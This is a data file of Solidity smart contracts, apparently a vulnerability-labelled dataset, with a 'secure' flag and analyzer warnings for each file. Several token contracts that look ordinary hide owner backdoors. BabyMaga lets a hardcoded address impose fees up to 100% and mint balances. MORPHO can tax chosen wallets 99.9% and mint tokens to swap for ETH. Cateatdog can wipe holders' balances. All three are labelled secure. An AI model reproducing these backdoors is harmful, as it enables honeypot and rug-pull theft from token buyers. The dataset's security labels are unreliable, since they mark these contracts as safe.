files dict |
|---|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./OFTAdapter.sol\" as OFTAdapter;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MyOFTAdapter is OFTAdapter {\n constructor(\n address _token,\n address _lzEndpoint,\n address _delegate\n ) OFTAdapter(_token, _lzEndpoint, _delegate) Ownable(_delegate) {}\n}",
"file_name": "solidity_code_969.sol",
"secure": 1,
"size_bytes": 389
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2 {\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n}",
"file_name": "solidity_code_97.sol",
"secure": 1,
"size_bytes": 318
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract Managed {\n event AddManager(address Wallet);\n\n event RemoveManager(address Wallet);\n\n mapping(address => bool) public managers;\n\n modifier onlyManagers() {\n require(managers[msg.sender] == true, \"Caller is not manager\");\n\n _;\n }\n\n constructor() {\n managers[msg.sender] = true;\n\n emit AddManager(msg.sender);\n }\n\n function setManager(address _wallet, bool _manager) public onlyManagers {\n require(_wallet != msg.sender, \"Not allowed\");\n\n require(_wallet != address(0), \"Invalid address\");\n\n managers[_wallet] = _manager;\n\n if (_manager) {\n emit AddManager(_wallet);\n } else {\n emit RemoveManager(_wallet);\n }\n }\n}",
"file_name": "solidity_code_970.sol",
"secure": 1,
"size_bytes": 840
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./Managed.sol\" as Managed;\n\ncontract BridgeLog is Managed {\n event Incoming(address indexed wallet, uint256 amount, uint256 logId);\n\n event Outgoing(address indexed wallet, uint256 amount, uint256 logId);\n\n struct OutgoingLog {\n address wallet;\n uint256 amount;\n uint256 fee;\n uint256 date;\n uint256 chainID;\n uint256 bridgeIndex;\n }\n\n struct IncomingLog {\n address wallet;\n uint256 amount;\n uint256 fee;\n uint256 date;\n uint256 chainID;\n uint256 logIndex;\n }\n\n mapping(uint256 => OutgoingLog) public outgoingTx;\n\n mapping(uint256 => IncomingLog) public incomingTx;\n\n mapping(bytes32 => uint256) public withdrawals;\n\n mapping(address => bool) public loggers;\n\n uint256 public outgoingIndex;\n\n uint256 public incomingIndex;\n\n constructor() {\n managers[0x00d6E1038564047244Ad37080E2d695924F8515B] = true;\n }\n\n function setLogger(address _logger, bool _canLog) public onlyManagers {\n loggers[_logger] = _canLog;\n }\n\n function outgoing(\n address _wallet,\n uint256 _amount,\n uint256 _fee,\n uint256 _chainID,\n uint256 _bridgeIndex\n ) public {\n require(loggers[msg.sender] == true, \"Invalid caller\");\n\n outgoingIndex += 1;\n\n OutgoingLog memory _outgoing = OutgoingLog(\n _wallet,\n _amount,\n _fee,\n block.timestamp,\n _chainID,\n _bridgeIndex\n );\n\n outgoingTx[outgoingIndex] = _outgoing;\n\n emit Outgoing(_wallet, _amount, outgoingIndex);\n }\n\n function incoming(\n address _wallet,\n uint256 _amount,\n uint256 _fee,\n uint256 _chainID,\n uint256 _logIndex,\n bytes32 txHash\n ) public {\n require(loggers[msg.sender] == true, \"Invalid caller\");\n\n require(!withdrawalCompleted(txHash), \"Withdrawal already completed\");\n\n incomingIndex += 1;\n\n IncomingLog memory _incoming = IncomingLog(\n _wallet,\n _amount,\n _fee,\n block.timestamp,\n _chainID,\n _logIndex\n );\n\n incomingTx[incomingIndex] = _incoming;\n\n withdrawals[txHash] = incomingIndex;\n\n emit Incoming(_wallet, _amount, incomingIndex);\n }\n\n function getIncomingTx(\n uint256 _index\n )\n public\n view\n returns (\n address wallet,\n uint256 amount,\n uint256 fee,\n uint256 date,\n uint256 chainID,\n uint256 logIndex\n )\n {\n IncomingLog memory _incoming = incomingTx[_index];\n\n return (\n _incoming.wallet,\n _incoming.amount,\n _incoming.fee,\n _incoming.date,\n _incoming.chainID,\n _incoming.logIndex\n );\n }\n\n function getOutgoingTx(\n uint256 _index\n )\n public\n view\n returns (\n address wallet,\n uint256 amount,\n uint256 fee,\n uint256 date,\n uint256 chainID,\n uint256 bridgeIndex\n )\n {\n OutgoingLog memory _outgoing = outgoingTx[_index];\n\n return (\n _outgoing.wallet,\n _outgoing.amount,\n _outgoing.fee,\n _outgoing.date,\n _outgoing.chainID,\n _outgoing.bridgeIndex\n );\n }\n\n function withdrawalCompleted(\n bytes32 _withdrawalId\n ) public view returns (bool completed) {\n return (withdrawals[_withdrawalId] > 0);\n }\n}",
"file_name": "solidity_code_971.sol",
"secure": 1,
"size_bytes": 3859
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}",
"file_name": "solidity_code_972.sol",
"secure": 1,
"size_bytes": 187
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 21d8d8a): Contract locking ether found Contract McMahon has payable functions McMahon.receive() But does not have a function to withdraw the ether\n// Recommendation for 21d8d8a: Remove the 'payable' attribute or add a withdraw function.\ncontract McMahon is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = \"McMahon\";\n\n string private constant _symbol = \"MCMAHON\";\n\n event EnableTrading();\n\n event PairCreated(address indexed pair);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 795942e): McMahon.uniswapV2Router should be immutable \n\t// Recommendation for 795942e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6969e9c): McMahon.uniswapV2Pair should be immutable \n\t// Recommendation for 6969e9c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool public tradingEnabled;\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n emit PairCreated(uniswapV2Pair);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a7bcbbf): McMahon.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a7bcbbf: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8347926): McMahon._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8347926: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from zero\");\n\n require(spender != address(0), \"ERC20: approve to zero\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from zero\");\n\n require(to != address(0), \"ERC20: transfer to zero\");\n\n require(amount > 0, \"Transfer amount must be > 0\");\n\n if (from != owner() && to != owner()) {\n require(tradingEnabled, \"Trading not enabled\");\n }\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function enableTrading() external onlyOwner {\n require(!tradingEnabled, \"Trading already enabled\");\n\n tradingEnabled = true;\n\n emit EnableTrading();\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 21d8d8a): Contract locking ether found Contract McMahon has payable functions McMahon.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 21d8d8a: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_973.sol",
"secure": 0,
"size_bytes": 5544
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BabyMaga is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 00403cf): BabyMaga._decimals should be immutable \n\t// Recommendation for 00403cf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 758558d): BabyMaga._totalSupply should be immutable \n\t// Recommendation for 758558d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8397188): BabyMaga._marketwddress should be immutable \n\t// Recommendation for 8397188: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketwddress;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketwddress = 0x440d81d6A3Bee9E5C262d112bDe293C885CFe67d;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Swap(address user, uint256 Percents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = Percents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, Percents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketwddress;\n }\n\n function liqulltlys(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_974.sol",
"secure": 1,
"size_bytes": 5349
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: a22d93f): Contract with a 'payable' function, but without a withdrawal capacity.\n// Recommendation for a22d93f: Remove the 'payable' attribute or add a withdraw function.\ncontract DonaldTrumpElonMuskMichaelSaylor13000000Inu is ERC20, Ownable {\n constructor()\n ERC20(\n unicode\"DonaldTrumpElonMuskMichaelSaylor13000000Inu\",\n unicode\"BITCOIN2.0\"\n )\n {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: a22d93f): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for a22d93f: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_975.sol",
"secure": 0,
"size_bytes": 993
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract MORPHO is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b08c3a): MORPHO._decimals should be constant \n\t// Recommendation for 4b08c3a: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d423a94): MORPHO._totalSupply should be immutable \n\t// Recommendation for d423a94: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d21409): MORPHO._name should be constant \n\t// Recommendation for 4d21409: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Morpho Labs\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 154f2a3): MORPHO._symbol should be constant \n\t// Recommendation for 154f2a3: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"MORPHO\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 0bc45dd): MORPHO.uniV2Router should be constant \n\t// Recommendation for 0bc45dd: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: d02ef3b): MORPHO._taxWallet should be immutable \n\t// Recommendation for d02ef3b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function forpairget() public {}\n\n function togetpair() external {}\n\n function atamount() public {}\n\n function foramount() public {}\n\n function SwapTransfer(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function DecimalETH(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_976.sol",
"secure": 1,
"size_bytes": 7052
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Cateatdog is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable maze;\n\n constructor() {\n _name = \"cat eat dog\";\n\n _symbol = \"CED\";\n\n _decimals = 18;\n\n uint256 initialSupply = 888000000;\n\n maze = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == maze, \"Not allowed\");\n\n _;\n }\n\n function butterfly(address[] memory hotdog) public onlyOwner {\n for (uint256 i = 0; i < hotdog.length; i++) {\n address account = hotdog[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_977.sol",
"secure": 1,
"size_bytes": 4355
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GEMS is ERC20, Ownable {\n uint8 private constant _decimals = 6;\n\n constructor(\n address initialOwner\n ) ERC20(\"GEMS\", \"GEMS\") Ownable(initialOwner) {\n _mint(msg.sender, 21_000_000 * 10 ** uint256(_decimals));\n }\n\n function decimals() public view override returns (uint8) {\n return _decimals;\n }\n}",
"file_name": "solidity_code_978.sol",
"secure": 1,
"size_bytes": 557
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Occupy is ERC20 {\n constructor() ERC20(\"Occupy\", \"OCCUPY\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_979.sol",
"secure": 1,
"size_bytes": 272
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IUniswapV2.sol\" as IUniswapV2;\n\ncontract GatsbyCrossChainTrading {\n\t// WARNING Optimization Issue (immutable-states | ID: da98616): GatsbyCrossChainTrading.owner should be immutable \n\t// Recommendation for da98616: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3170af4): GatsbyCrossChainTrading.crossChainBridge should be constant \n\t// Recommendation for 3170af4: Add the 'constant' attribute to state variables that never change.\n address public crossChainBridge;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6c27e5b): GatsbyCrossChainTrading.uniswapRouter should be immutable \n\t// Recommendation for 6c27e5b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2 public uniswapRouter;\n\n event SwapExecuted(\n address indexed user,\n uint256 amountIn,\n uint256 amountOut,\n address destinationChain\n );\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Not authorized\");\n\n _;\n }\n\n constructor(address _uniswapRouter) {\n owner = msg.sender;\n\n uniswapRouter = IUniswapV2(_uniswapRouter);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0770392): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0770392: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function executeCrossChainSwap(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] memory path,\n address destinationChain\n ) public {\n require(amountIn > 0, \"Invalid amount\");\n\n\t\t// reentrancy-events | ID: 0770392\n uint256[] memory amounts = uniswapRouter.swapExactTokensForTokens(\n amountIn,\n amountOutMin,\n path,\n address(this),\n block.timestamp\n );\n\n forwardToChain(destinationChain, amounts[amounts.length - 1]);\n\n\t\t// reentrancy-events | ID: 0770392\n emit SwapExecuted(\n msg.sender,\n amountIn,\n amounts[amounts.length - 1],\n destinationChain\n );\n }\n\n function forwardToChain(\n address destinationChain,\n uint256 amountOut\n ) internal {}\n}",
"file_name": "solidity_code_98.sol",
"secure": 0,
"size_bytes": 2664
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: e5d63f7): Contract locking ether found Contract GreatWallAI has payable functions GreatWallAI.receive() But does not have a function to withdraw the ether\n// Recommendation for e5d63f7: Remove the 'payable' attribute or add a withdraw function.\ncontract GreatWallAI is ERC20, Ownable {\n constructor() ERC20(unicode\"Great Wall AI\", unicode\"GW\") {\n _mint(owner(), 100000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: e5d63f7): Contract locking ether found Contract GreatWallAI has payable functions GreatWallAI.receive() But does not have a function to withdraw the ether\n\t// Recommendation for e5d63f7: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_980.sol",
"secure": 0,
"size_bytes": 1023
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SADIE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d193fa4): SADIE._taxWallet should be immutable \n\t// Recommendation for d193fa4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c040f28): SADIE._initialBuyTax should be constant \n\t// Recommendation for c040f28: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 108e472): SADIE._initialSellTax should be constant \n\t// Recommendation for 108e472: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b9ad280): SADIE._reduceBuyTaxAt should be constant \n\t// Recommendation for b9ad280: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: d94efb7): SADIE._reduceSellTaxAt should be constant \n\t// Recommendation for d94efb7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: a330b21): SADIE._preventSwapBefore should be constant \n\t// Recommendation for a330b21: Add the 